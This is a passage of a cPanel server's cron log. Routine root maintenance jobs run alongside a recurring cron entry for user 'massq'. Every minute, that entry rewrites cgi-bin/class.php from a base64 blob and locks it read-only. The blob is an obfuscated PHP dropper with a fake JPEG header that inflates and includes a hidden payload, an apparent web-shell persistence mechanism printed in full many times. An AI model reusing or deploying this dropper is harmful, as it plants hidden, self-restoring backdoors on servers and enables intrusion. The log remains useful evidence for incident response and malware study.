"$fp"; fi; chmod 444 "$fp")
Sep  9 19:01:01 server CROND[22615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:01:01 server run-parts(/etc/cron.hourly)[22614]: starting 0anacron
Sep  9 19:01:01 server run-parts(/etc/cron.hourly)[22635]: finished 0anacron
Sep  9 19:02:01 server CROND[23184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:02:01 server CROND[23185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:02:01 server CROND[23186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:03:01 server CROND[23572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:03:01 server CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:03:01 server CROND[23574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:04:01 server CROND[24117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:04:01 server CROND[24118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:04:01 server CROND[24119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:05:01 server CROND[24514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:05:01 server CROND[24516]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:05:01 server CROND[24517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:05:01 server CROND[24519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:05:01 server CROND[24518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:05:01 server CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:05:01 server CROND[24521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:05:01 server CROND[24524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:06:01 server CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:06:01 server CROND[25367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:06:01 server CROND[25368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:07:01 server CROND[25749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:07:01 server CROND[25750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:07:01 server CROND[25751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:08:02 server CROND[26147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:08:02 server CROND[26149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:08:02 server CROND[26148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:09:01 server CROND[26642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:09:01 server CROND[26644]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 19:09:01 server CROND[26645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:09:01 server CROND[26643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:10:01 server CROND[27042]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:10:01 server CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:10:01 server CROND[27045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:10:01 server CROND[27046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:10:01 server CROND[27049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:10:01 server CROND[27048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:10:01 server CROND[27051]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:10:01 server CROND[27047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:11:01 server CROND[27889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:11:01 server CROND[27890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:11:01 server CROND[27891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:12:01 server CROND[28271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:12:01 server CROND[28270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:12:01 server CROND[28273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:12:01 server CROND[28272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:13:01 server CROND[28655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:13:01 server CROND[28656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:13:01 server CROND[28657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:14:01 server CROND[29140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
